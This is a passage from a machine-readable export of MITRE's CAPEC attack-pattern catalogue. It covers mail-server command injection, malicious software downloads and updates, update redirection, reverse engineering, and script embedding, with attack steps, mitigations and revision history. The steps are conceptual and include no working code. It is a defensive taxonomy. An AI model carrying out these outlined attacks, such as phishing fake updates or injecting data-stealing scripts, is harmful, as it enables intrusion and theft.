header contains the ending of the expected message, the body contains the injection of the new command, and the footer contains the beginning of the expected command.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Each part of the injection payload needs to be terminated with the CRLF (%0d%0a) sequence.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target environment must consist of a web-mail server that the attacker can query and a back-end mail server. The back-end mail server need not be directly accessible to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The web-mail server must fail to adequately sanitize fields received from users and passed on to the back-end mail server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The back-end mail server must not be adequately secured against receiving malicious commands from the web-mail server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. However, in most cases, the attacker will need to be a recognized user of the web-mail server.</xhtml:div> + + + + + 77 + + + + + + + + + + + + #indReferenceReference8391 + Reference_8391 + + + + + + + + + REF-49 + + + + + Testing for IMAP SMTP Injection + + + + + + + + + + + + #indContentHistoryContentHistory8393 + Content_History_8393 + + + + + + + + + + + + + + + + #indSubmissionSubmission8394 + Submission_8394 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8399 + Modification_8399 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification8405 + Modification_8405 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8411 + Modification_8411 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification8417 + Modification_8417 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-184 + Software Integrity Attack + + + + + + + + + 184 + + + + + Software Integrity Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker initiates a series of events designed to cause a user, program, server, or device to perform actions which undermine the integrity of software code, device data structures, or device firmware, achieving the modification of the target's integrity to achieve an insecure state.</xhtml:div> + + + + + + + + + + + + + + + + + #indSkillSkill8429 + Skill_8429 + + + + + + + + + + + + + + Manual or user-assisted attacks require deceptive mechanisms to trick the user into clicking a link or downloading and installing software. Automated update attacks require the attacker to host a payload and then trigger the installation of the payload code. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software Integrity Attacks are usually a late stage focus of attack activity which depends upon the success of a chain of prior events. The resources required to perform the attack vary with respect to the overall attack strategy, existing countermeasures which must be bypassed, and the success of early phase attack vectors.</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indContentHistoryContentHistory8437 + Content_History_8437 + + + + + + + + + + + + + + + + #indSubmissionSubmission8438 + Submission_8438 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8443 + Modification_8443 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Injection_Vector, Payload, Payload_Activation_Impact, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8449 + Modification_8449 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName8455 + Previous_Entry_Name_8455 + + + + + + + + + 2015-11-09 + + + + + Software Integrity Attacks + + + + + + + + + + + + #CAPEC-185 + Malicious Software Download + + + + + + + + + 185 + + + + + Malicious Software Download + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8463 + Related_Attack_Pattern_8463 + + + + + + + + + + + + + + 184 + + + + + 403 + + + + + 437 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8467 + Related_Attack_Pattern_8467 + + + + + + + + + + + + + + 662 + + + + + 494 + + + + + + + + + + + + #indContentHistoryContentHistory8472 + Content_History_8472 + + + + + + + + + + + + + + + + #indSubmissionSubmission8473 + Submission_8473 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8478 + Modification_8478 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification8484 + Modification_8484 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8490 + Modification_8490 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification8496 + Modification_8496 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8502 + Modification_8502 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification8508 + Modification_8508 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8514 + Modification_8514 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-186 + Malicious Software Update + + + + + + + + + 186 + + + + + Malicious Software Update + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses deceptive methods to cause a user or an automated process to download and install dangerous code believed to be a valid update that originates from an adversary controlled source.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Although there are several variations to this strategy of attack, the attack methods are united in that all rely on the ability of an adversary to position and disguise malicious content such that it masquerades as a legitimate software update which is then processed by a program, undermining application integrity.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;As such the attack employs 'spoofing' techniques augmented by psychological or technological mechanisms to disguise the update and/or its source. Virtually all software requires frequent updates or patches, giving the adversary immense latitude when structuring the attack, as well as many targets of opportunity. Automated attacks involving malicious software updates require little to no user-directed activity and are therefore advantageous because they avoid the complex preliminary setup stages of manual attacks, which must effectively 'hook' users while avoiding countermeasures such as spam filters or web security filters.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8530 + Related_Attack_Pattern_8530 + + + + + + + + + + + + + + 184 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8531 + Related_Attack_Pattern_8531 + + + + + + + + + + + + + + 98 + + + + + + + + + + + + #indAttackStepAttackStep8534 + Attack_Step_8534 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target] The adversary must first identify what they want their target to be. Because malicious software updates can be carried out in a variety of ways, the adversary will first not only identify a target program, but also what users they wish to target. This attack can be targeted (a particular user or group of users) or untargeted (many different users).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8539 + Attack_Step_8539 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft a deployment mechanism based on the target] The adversary must craft a deployment mechanism to deploy the malicious software update. This mechanism will differ based on if the attack is targeted or untargeted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted attack: hosting what appears to be a software update, then harvesting actual email addresses for an organization, or generating commonly used email addresses, and then sending spam, phishing, or spear-phishing emails to the organization's users requesting that they manually download and install the malicious software update.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted attack: Instant Messaging virus payload, which harvests the names from a user's contact list and sends instant messages to those users to download and apply the update</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Untargeted attack: Spam the malicious update to as many users as possible through unsolicited email, instant messages, or social media messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Untargeted attack: Send phishing emails to as many users as possible and pretend to be a legitimate source suggesting to download an important software update.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Untargeted attack: Use trojans/botnets to aid in either of the two untargeted attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8549 + Attack_Step_8549 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deploy malicious software update] Using the deployment mechanism from the previous step, the adversary gets a user to install the malicious software update.</xhtml:div> + + + + + + + + + + + + #indSkillSkill8556 + Skill_8556 + + + + + + + + + + + + + + This attack requires advanced cyber capabilities + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manual or user-assisted attacks require deceptive mechanisms to trick the user into clicking a link or downloading and installing software. Automated update attacks require the adversary to host a payload and then trigger the installation of the payload code.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8562 + Consequence_8562 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate software updates before installing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using an automated process to download and install dangerous code was key part of the NotPeyta attack [REF-697]</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference8586 + Reference_8586 + + + + + + + + + REF-697 + + + + + + + + + + + + #indNoteNote8589 + Note_8589 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Other class of attacks focus on firmware, where malicious updates are made to the core system firmware or BIOS. Since this occurs outside the controls of the operating system, the OS detection and prevention mechanisms do not aid, thus allowing an adversary to evade defenses as well as gain persistence on the target's system.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory8591 + Content_History_8591 + + + + + + + + + + + + + + + + #indSubmissionSubmission8592 + Submission_8592 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8597 + Modification_8597 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Solutions_and_Mitigations, Typical_Severity + + + + + + + + + + + + #indModificationModification8603 + Modification_8603 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description Summary + + + + + + + + + + + + #indModificationModification8609 + Modification_8609 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Notes + + + + + + + + + + + + #indModificationModification8615 + Modification_8615 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8621 + Modification_8621 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Extended_Description, References, Resources_Required + + + + + + + + + + + + #indModificationModification8627 + Modification_8627 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-187 + Malicious Automated Software Update via Redirection + + + + + + + + + 187 + + + + + Malicious Automated Software Update via Redirection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits two layers of weaknesses in server or client software for automated update mechanisms to undermine the integrity of the target code-base. The first weakness involves a failure to properly authenticate a server as a source of update or patch content. This type of weakness typically results from authentication mechanisms which can be defeated, allowing a hostile server to satisfy the criteria that establish a trust relationship. The second weakness is a systemic failure to validate the identity and integrity of code downloaded from a remote location, hence the inability to distinguish malicious code from a legitimate update.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;One predominate type of redirection attack requires DNS spoofing or hijacking of a domain name corresponding to an update server. The target software initiates an update request and the DNS request resolves the domain name of the update server to the IP address of the attacker, at which point the software accepts updates either transmitted by or pulled from the attackers' server. Attacks against DNS mechanisms comprise an initial phase of a chain of attacks that facilitate automated update hijacking attack, and such attacks have a precedent in targeted activities that have been as complex as DNS/BIND attacks of corporate infrastructures, to untargeted attacks aimed at compromising home broadband routers, as well as attacks involving the compromise of wireless access points, as well as 'evil twin' attacks coupled with DNS redirection. Due to the plethora of options open to the attacker in forcing name resolution to arbitrary servers the Automated Update Hijacking attack strategies are the tip of the spear for many multi-stage attack chains.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The second weakness that is exploited by the attacker is the lack of integrity checking by the software in validating the update. Software which relies only upon domain name resolution to establish the identity of update code is particularly vulnerable, because this signals an absence of other security countermeasures that could be applied to invalidate the attackers' payload on basis of code identity, hashing, signing, encryption, and other integrity checking mechanisms. Redirection-based attack patterns work equally well against client-side software as well as local servers or daemons that provide software update functionality.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8646 + Related_Attack_Pattern_8646 + + + + + + + + + + + + + + 186 + + + + + 403 + + + + + + + + + + + + #indConsequenceConsequence8651 + Consequence_8651 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 494 + + + + + + + + + + + + #indTaxonomyMappingSoftwareDeploymentTools + Software Deployment Tools + + + + + + + + + + + + + + 1072 + + + + + Software Deployment Tools + + + + + + + + + + + + #indContentHistoryContentHistory8667 + Content_History_8667 + + + + + + + + + + + + + + + + #indSubmissionSubmission8668 + Submission_8668 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8673 + Modification_8673 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Architectural_Paradigms, Injection_Vector, Payload, Payload_Activation_Impact, References, Technical_Context + + + + + + + + + + + + #indModificationModification8679 + Modification_8679 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification8685 + Modification_8685 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8691 + Modification_8691 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Consequences, Description, Likelihood_Of_Attack, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification8697 + Modification_8697 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName8703 + Previous_Entry_Name_8703 + + + + + + + + + 2020-12-17 + + + + + Malicious Automated Software Update + + + + + + + + + + + + #CAPEC-188 + Reverse Engineering + + + + + + + + + 188 + + + + + Reverse Engineering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary discovers the structure, function, and composition of an object, resource, or system by using a variety of analysis techniques to effectively determine how the analyzed entity was constructed or operates. The goal of reverse engineering is often to duplicate the function, or a part of the function, of an object in order to duplicate or "back engineer" some aspect of its functioning. Reverse engineering techniques can be applied to mechanical objects, electronic devices, or software, although the methodology and techniques involved in each type of analysis differ widely.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to targeted system, resources, and information.</xhtml:div> + + + + + + + + + + + + #indSkillSkill8714 + Skill_8714 + + + + + + + + + + + + + + Understanding of low level programming languages or technologies can be very helpful. For example, when reverse engineering a binary file, an understanding of assembly languages can help to determine the purpose and inner-workings of the code. Another example is reverse engineering an application that relies on networking. Here, an understanding networking protocols can provide insight into application details. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The technical resources necessary to engage in reverse engineering differ in accordance with the type of object, resource, or system being analyzed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ code obfuscation techniques to prevent the adversary from reverse engineering the targeted entity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When adversaries are reverse engineering software, methodologies fall into two broad categories, 'white box' and 'black box.' White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution. 'Black Box' methods involve interacting with the software indirectly, in the absence of the ability to measure, instrument, or analyze an executable object directly. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs.</xhtml:div> + + + + + 1278 + + + + + + + + + + + + #indReferenceReference8729 + Reference_8729 + + + + + + + + + REF-50 + + + + + Reverse engineering + + + + + + + + + + + + #indContentHistoryContentHistory8731 + Content_History_8731 + + + + + + + + + + + + + + + + #indSubmissionSubmission8732 + Submission_8732 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8737 + Modification_8737 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attacker_Skills_or_Knowledge_Required, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification8743 + Modification_8743 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification8749 + Modification_8749 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification8755 + Modification_8755 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-189 + Black Box Reverse Engineering + + + + + + + + + 189 + + + + + Black Box Reverse Engineering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary discovers the structure, function, and composition of a type of computer software through black box analysis techniques. 'Black Box' methods involve interacting with the software indirectly, in the absence of direct access to the executable object. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs. Black Box Reverse Engineering also refers to gathering physical side effects of a hardware device, such as electromagnetic radiation or sounds.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8768 + Related_Attack_Pattern_8768 + + + + + + + + + + + + + + 188 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Black box methods require (at minimum) the ability to interact with the functional boundaries where the software communicates with a larger processing environment, such as inter-process communication on a host operating system, or via networking protocols.</xhtml:div> + + + + + 203 + + + + + 1255 + + + + + 1300 + + + + + + + + + + + + #indContentHistoryContentHistory8778 + Content_History_8778 + + + + + + + + + + + + + + + + #indSubmissionSubmission8779 + Submission_8779 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8784 + Modification_8784 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification8790 + Modification_8790 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8796 + Modification_8796 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8802 + Modification_8802 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName8808 + Previous_Entry_Name_8808 + + + + + + + + + 2015-11-09 + + + + + Software Reverse Engineering + + + + + + + + + + + + #CAPEC-19 + Embedding Scripts within Scripts + + + + + + + + + 19 + + + + + Embedding Scripts within Scripts + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an adversary can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8820 + Related_Attack_Pattern_8820 + + + + + + + + + + + + + + 242 + + + + + + + + + + + + #indAttackStepAttackStep8823 + Attack_Step_8823 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spider] Using a browser or an automated tool, an adversary records all entry points for inputs that happen to be reflected in a client-side script element. These script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8831 + Attack_Step_8831 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of the created requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8841 + Attack_Step_8841 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Steal session IDs, credentials, page content, etc.] As the adversary succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an adversary's server and then causes the browser to execute appropriately.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8848 + Attack_Step_8848 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Forceful browsing] When the adversary targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an adversary's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8855 + Attack_Step_8855 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Content spoofing] By manipulating the content, the adversary targets the information that the user would like to get from the website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes adversary-modified invalid information to the user on the current web page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target software must be able to execute scripts, and also grant the adversary privilege to write/upload scripts.</xhtml:div> + + + + + + + + + + + + #indSkillSkill8866 + Skill_8866 + + + + + + + + + + + + + + To load malicious script into open, e.g. world writable directory + + + + + + + + + + + + #indSkillSkill8867 + Skill_8867 + + + + + + + + + + + + + + Executing remote scripts on host and collecting output + + + + + + + + + + + + #indConsequenceConsequence8870 + Consequence_8870 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8877 + Consequence_8877 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server side developers should not proxy content via XHR or other means. If a HTTP proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div 